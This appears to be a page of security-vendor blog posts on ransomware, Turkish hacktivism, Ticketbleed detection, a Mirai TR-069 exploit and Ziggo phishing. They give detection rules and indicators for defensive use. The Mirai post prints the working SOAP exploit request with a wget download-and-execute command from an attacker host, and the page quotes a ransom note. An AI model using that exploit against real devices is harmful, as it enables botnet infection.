Hash: e6591a9389c7b82d59949b8c5660e773b86dff1fa3909f780cb8c88bbc85646c (plugin-office.exe)

Hostname: digitalecosystems.com (download)
Hostname: network.mrtg.belcenter.net (download)
Hostname: brutenutrition.net (download)
Hostname: bettermannow.com (download)

IP: (C2 server)

Ransom note:

All your important files were encrypted on this computer.
You can verify this by click on see files an try open them.
Encryption was produced using unique public key RSA-1024 generated for this computer.
To decrypted files, you need to obtain private key.
The single copy of the private key, with will allow you to decrypt the files, is locate on a secret server on the internet.
The server will destroy the key within 78 hours after encryption completed.
To retrieve the private key, you need to  Contact us by email , send us an email your DECRYPT-ID-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx number
and wait for further instructions.
For you to be sure, that we can decrypt your files – you can send us a single encrypted file and we will send you back it in a decrypted form.
Please do not waste your time! You have 72 hours only! After that The Main Server will double your price!


Turkish hacktivists targeting the Netherlands: high noise, low impact

As a result of increased political tensions between The Netherlands and Turkey, a surge in activity from several Turkish hacker groups has been observed by Fox-IT.

Most activities observed thus far appear to be aimed at defacement and disruption of online Dutch infrastructure. Most of the methods and techniques used to achieve this goal are relatively simple and can be executed by an individual with basic knowledge and skills.

Targets of ‘disruption attacks’, in the form of Distributed Denial of Service (DDoS) attacks, appear to have been directly related to the conflict between Turkey and The Netherlands, with regards to the denial of two of Turkey’s ministers from visiting The Netherlands on March 11th 2017. Some of the targeted websites had difficulties defending against the DDoS attacks, such as stemwijzer.nl and kieskompas.nl, resulting in downtime, just one day before the Dutch elections.

List of Dutch DDoS targets

Defacements were seen across seemingly random Twitter accounts and Dutch websites, carried out by individuals which gathered on publically accessible hacking forums, where hackers were called to arms, using operation names such as Hollanda Operasyonu (translated: Holland Operation).

An example of a WordPress website (iwiweb.nl) defaced, using the recently disclosed WordPress content injection vulnerability, can be seen on the image below:


Most of these defacement attempts can be stopped by following basic security guidelines, such as regularly updating WordPress & other software installed on the webserver.

The full write-up describes several methods and techniques used by the Turkish hacker groups in order to compromise, deface or disrupt online Dutch infrastructure.

Download the write-up ‘Turkish Hacktivism targeting The Netherlands’

Detecting Ticketbleed (CVE-2016-9244)

On Thursday February 9th the vulnerability named ’Ticketbleed’ was made public. The name of this vulnerability does not just sound similar to Heartbleed, but also shares the same implication: remote reading of uninitialized memory. At the time we published Snort IDS detection rules for the Heartbleed vulnerability in OpenSSL, and have now decided to do the same for the F5 vulnerability: Ticketbleed.

About Ticketbleed:
The vulnerability that would later become known as Ticketbleed, was identified by Filippo Valsorda following a support ticket at Cloudflare. The symptoms were failing connections between applications using the TLS Library of the Go programming language and F5 BIG-IP appliances. Filippo identified that SSL resumption requests were failing due to an assumption of the Session Ticket ID length in F5’s TLS stack. This exposes up to 31 bytes of memory per session, a lot less than Hearbleed, which leaked 64k bytes at a time. For more technical details see Finding Ticketbleed post by Filippo.

Those running vulnerable F5 Appliances have two options to mitigate this vulnerability. One option is to disable Session Tickets entirely on the F5, this should stop the leaking of memory immediately and at virtually no cost. The recommended fix is to upgrade to the latest firmware which plugs this specific problem entirely as described in the following KB article K05121675.

At Fox-IT we frequently write IDS detection rules, especially for customers, APTs, hacking tools or new vulnerabilities like Ticketbleed. The Ticketbleed website bears the following warning for those writing IDS signatures to detect the vulnerability:

The issue can be identified by passive traffic monitoring, as the Session ID field is unencrypted.

However, I’d like to strongly discourage IDS vendors from making signatures that simply detect Session IDs shorter than 32 bytes. Any length between 1 and 32 bytes is legal according to the RFC specification.

The Go standard library legitimately uses 16 bytes Session IDs, and browsers considered using 1 byte Session IDs for this purpose. It’s important for security software not to needlessly constrain future decisions in that direction.

Taking this into account, we wrote two signatures for Snort IDS. The first rule searches for ‘Client Hello’ packets that have a session identifier that is shorter than 32 bytes. Using the ‘flowbits’ feature of Snort, the second signature looks for a ‘Server Hello’ packet that does contain a 32 byte session identifier. Writing rules to match binary protocols such as TLS can be challenging and has a higher chance of false positives. While this signature has not resulted in any False Positives on our side, we welcome any feedback as a result of these rules.

The two rules can be found on our GitHub Gists:


When trying to verify hits in Wireshark we used the following expression filters:

Identify packets containing SSL session identifiers:


Search for session identifiers smaller than 32 bytes and equal to 32 bytes:

(ssl.handshake.session_id_length > 0 && ssl.handshake.session_id_length < 32) || ssl.handshake.session_id_length == 32

If the above filter returns two packets, you are likely dealing with a vulnerable F5 appliance. As can be seen in the following screenshot:


Wireshark filter matching Client en Server Hello with different ‘Session ID’ lengths.

Special thanks to Yun Zheng Hu for writing these rules!

Recent vulnerability in Eir D1000 Router used to spread updated version of Mirai DDoS bot

Over the last two months a lot has been written about the DDoS malware called Mirai. The first known attack, that only later was attributed to Mirai, was against the Krebs On Security blog on September 20th. It is likely that this same botnet attacked Dyn a month later, causing a massive outage among popular websites world wide.

Previous attacks:

One of the attack types that appears to be new to the scene is the use of the Generic Router Encapsulation (GRE) protocol in order to flood victims with packets. This protocol was used against Krebs, but has also been mentioned before. More specifically in a piece by Arbor Networks about an IoT botnet, attacking the networks of the Olympics in Brazil. This could be Mirai, but the first known command and control (C2) server for Mirai was not registered until 2016-09-14. So either it was a different IoT botnet, such as Linux/Fgt (by Lizardsquad) or there was a previous Mirai botnet.

Shortly after the attack against Dyn, the main botnet, using C2 server santasbigcandycane.cx, went quiet and the source code of the Mirai botnet was released:

mirai-hfSource: https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/

As a result of the source code becoming public, many new Mirai botnets started to appear. These botnets were a lot smaller than the original one. This is likely because the original botnet only spread by using default credentials of Telnet enabled devices and scanning the internet for them. So a limited amount of victims, most of which were likely already infected by the original botnet and because of that, blocking new infections.

Two researchers (@MalwareTechBlog & @2sec4u) created a public twitter feed tracking attacks launched by these Mirai botnets (@MiraiAttacks), so far they have identified at least 79 sub-botnets.

Recently there were claims of a bigger Mirai botnet, one that was bigger than all of the other ones combined. The operators of this botnet are selling access to this botnet and claim to have over 400.000 bots and using different spreading techniques than the original Mirai bot. The previously listed Mirai Tracker lists this botnet as ‘#14’.

Mirai botnet spreading using SOAP exploit:

A Mirai botnet using a different spreading approach than the original bot was observed by Fox-IT on Sunday. Just as the original botnet, the bots start attacking other devices on the internet in an attempt to infect them. Where the original bot uses Telnet and a set of default credentials, this version uses a recently documented SOAP exploit.

The bot is using the following POST request on TCP port 7547 to infect other devices:

POST /UD/act?1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 526

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" 
<SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> 
cd /tmp;wget http://l.ocalhost[.]host/1;chmod 777 1;./1

A write-up on how this exploit works is provided by ‘Kenzo2017’ in his blogpost. The exploit is located in the implementation of a service that allows ISPs to configure and modify settings of specific modems using the TR-069 protocol. One of those settings allows, by mistake, the execution of Busybox commands such as wget to download malware. BusyBox is software that provides several stripped-down Unix tools in a single executable file.

In the exploit code you can see that the protocol allows for the ISP to set the NTP-servers which the modems should use, but rather than entering an IP or a hostname, a bash/busybox command is given:

`cd /tmp;wget http://l.ocalhost[.]host/1;chmod 777 1;./1`

We can break this command up in multiple parts:

– ‘wget’ is used to retrieve the malware from http://l.ocalhost[.]host.
– ‘chmod 777 1’ makes the file executable.
– ‘./1’ executes the malware on the system.

So could this be the Botnet #14, where the authors are boasting 400k infections?
This is possible, but for now difficult to verify. What we do know is that these management interfaces for modems are being exposed at various internet service providers around the world. In Germany this has lead to big problems for Deutsche Telecom, where an attacker disabled the internet for 900.000 modems, possibly using the same vulnerability. For now it is unclear if there was an attempt to load Mirai on these devices, or whether this is an unrelated attack.

This is likely not the last we will be seeing of Mirai and its successors. New spreading mechanisms and DDoS attack methods are being added in this gold rush for new victims, something we outlined more high level in a previous blog post.
Fox-IT is observing this botnet for future activity and possible victims of its DDoS attacks.


  • ISPs should configure the modems to only allow connections to their management interfaces from the ISPs own management network, not the whole world.
  • Users could replace these modems if possible with their own, better secured devices.
  • Contact the ISP and vendor of the modems for patches that might resolve the vulnerability.


Hash: c723eebacfc8b845efbcc33c43dd3567dd026b1d (MIPS)
Hash: f37d2f6ff24429db2fc83434e663042c2667fa41 (ARM)

Hostname: l.ocalhost[.]host (download location)
Hostname: timeserver[.]host (c2 server)

New download location observed in Fox-IT honeypots:
Hostname: tr069[.]pw (download location)
Hostnane: p.ocalhost[.]host (download location)
IP: 5.8.65[.]5 (download location)

The following Snort IDS rule can be used to detect spreading attempts against your network:

alert tcp $EXTERNAL_NET any -> $HOME_NET 7547 (msg:”FOX-SRT – Exploit – TR-069 SOAP RCE NewNTPServer exploit incoming”; flow:established,to_server; content:”POST”; depth:4; content:”/UD/act?1″; content:”urn:dslforum-org:service:Time:1#SetNTPServers”; threshold: type limit, track by_dst, count 1, seconds 60; classtype:attempted-admin; reference:url,blog.fox-it.com/2016/11/28/recent-vulnerability-in-eir-d1000-router-used-to-spread-updated-version-of-mirai-ddos-bot; sid:1; rev:1;)

By changing the HOME_NET and EXTERNAL_NET in this rule, it can be used to detect clients within your network attacking hosts on the internet:

alert tcp $HOME_NET any -> $EXTERNAL_NET 7547 (msg:”FOX-SRT – Exploit – TR-069 SOAP RCE NewNTPServer exploit outgoing”; flow:established,to_server; content:”POST”; depth:4; content:”/UD/act?1″; content:”urn:dslforum-org:service:Time:1#SetNTPServers”; threshold: type limit, track by_src, count 1, seconds 60; classtype:attempted-admin; reference:url,blog.fox-it.com/2016/11/28/recent-vulnerability-in-eir-d1000-router-used-to-spread-updated-version-of-mirai-ddos-bot; sid:2; rev:1;)

These Snort rules can also be found on our Github.

Ziggo ransomware phishing campaign still increasing in size


Fox-IT’s Security Operations Center (SOC) observed fake Ziggo invoice e-mails, since October 6th 2016, linking to a ransomware variant known as TorrentLocker.

The group behind TorrentLocker has previously been observed using fake Dutch postal service emails imitating PostNL, back in 2014.  This distribution method of abusing local postal service names was seen in a lot of countries where this threat was active. This was also documented in CERT PL’s report ‘Going Postal’ published last year. After continuous takedowns of the fake invoice domains with the help of Abuse.CH, the group seized their activities in the Netherlands, near the end of 2014, but continued in several other countries around the world.

The switch from using fake track and trace e-mail messages from postal services (from 2014 till 2016), to using fake invoices from a local Dutch ISP known as Ziggo, is an interesting switch in the modus operandi of the group behind TorrentLocker.

The reach of this e-mail campaign is rapidly increasing as a result of TorrentLocker stealing the address books from its victims to expand its list of new targets. Every successful infection increases the reach of the malicious e-mail campaign significantly. 

Current phishing e-mail

The e-mail below is an example of the phishing e-mail, which mimics the real Ziggo invoice e-mails:

Example of Ziggo phishing e-mail

The e-mail above contains a link to a fake Ziggo page that will force the user to download a ZIP file with the supposed invoice inside. The ZIP file contains a JavaScript file which will, when executed by the victim, download the TorrentLocker ransomware from a compromised WordPress website. When the victim’s data is encrypted, TorrentLocker shows the screen below, still using the name ‘Crypt0L0cker’, as seen 2 years ago:

TorrentLocker lock screen

Indicators of compromise

Currently (October 6th 2016) active campaign distribution domain:

  • ziggo-online23.org /

Other Ziggo domains used in previous e-mail campaigns:

  • ziggo-online23.org
  • ziggo-online12.com
  • ziggo-online247.net
  • ziggo-online24.net
  • ziggo-online24.org
  • ziggo-factuur84.org
  • ziggo-factuur23.org

All domains registered by the group behind TorrentLocker are registered at REG.RU. With the continued effort of AbuseCH we have been taking down these domains as soon as they appear.

TorrentLocker initially communicates via SSL to several IPs to reach its command and control server. The current IP being used for this communication is:


The certificate used for this SSL connection typically contains the following static information (more sample and information for these SSL certificates can be found on AbuseCH’s SSL Blacklist):

  • C=US, ST=Denial, L=Springfield, O=Dis

After the initial SSL connection, all other network communication is ran through Tor. Files encrypted by TorrentLocker will be appended by the ‘.enc’ extension. More details on the prevention of ransomware can be found in our earlier TorrentLocker blog: New Torrentlocker variant active in the Netherlands.